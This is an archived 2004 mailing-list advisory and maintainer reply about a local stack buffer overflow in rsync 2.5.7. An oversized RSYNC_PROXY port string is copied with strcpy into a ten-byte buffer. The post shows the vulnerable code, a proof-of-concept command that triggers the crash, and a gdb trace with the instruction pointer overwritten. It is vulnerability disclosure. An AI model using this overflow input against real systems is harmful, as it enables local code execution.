rsync - Feb 2004 - Rsync 2.5.7 local buffer overflow

Hi folks,

I've discovered a local stack overflow bug in rsync 2.5.7.
Problem is in open_socket_out function (socket.c).

...
        char portbuf[10];
        char *h;
        int proxied = 0;
        char buffer[1024];
        char *cp;
...
        h = getenv("RSYNC_PROXY");
        proxied = (h != NULL) && (*h != '\0');
...
        if (proxied) {
                strlcpy(buffer, h, sizeof(buffer));
                cp = strchr(buffer, ':');
                if (cp == NULL) {
                        rprintf(FERROR,
                                "invalid proxy specification: should be 
HOST:PORT\n");
                        return -1;
                }
                *cp++ = '\0';
                strcpy(portbuf, cp);              // <- BUFFER OVERFLOW
...

If RSYNC_PROXY environment variable is set, rsync will read hostname and 
port from it.
It is possible to overflow port portbuf[10] variable.
Example:

[root@localhost root]# export RSYNC_PROXY=`perl -e 'print "A" x
100,":","A"
x 1000'`
[root@localhost root]# rsync localhost::
rsync: getaddrinfo: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA: ai_family not supported
Segmentation fault
[root@localhost root]# ulimit -c unlimited
[root@localhost root]# rsync localhost::
rsync: getaddrinfo: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA: ai_family not supported
Segmentation fault (core dumped)
[root@localhost root]# gdb -c=core.9674
GNU gdb Red Hat Linux (5.1.90CVS-5)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain 
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `rsync localhost::'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()



Regards,
Leon Juranic a.k.a DownBload / Illegal Instruction Labs

"Born under the lucky star magical,
but on this world generally tragical".

_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE* 
http://join.msn.com/?page=features/virus

On Fri, Feb 06, 2004 at 03:24:24PM +0100, DownBload / Illegal Instruction Labs
wrote:
>                strcpy(portbuf, cp);              // <- BUFFER OVERFLOW
Correct.  I fixed this in the CVS version earlier this year.  Since the
proxy data is coming from the local environment, I don't see a need to
roll out an update to 2.6.0 (which is the latest released version, BTW).
The fix will be in 2.6.1, which should be released in the next month or
two.

Thanks for the report,

..wayne..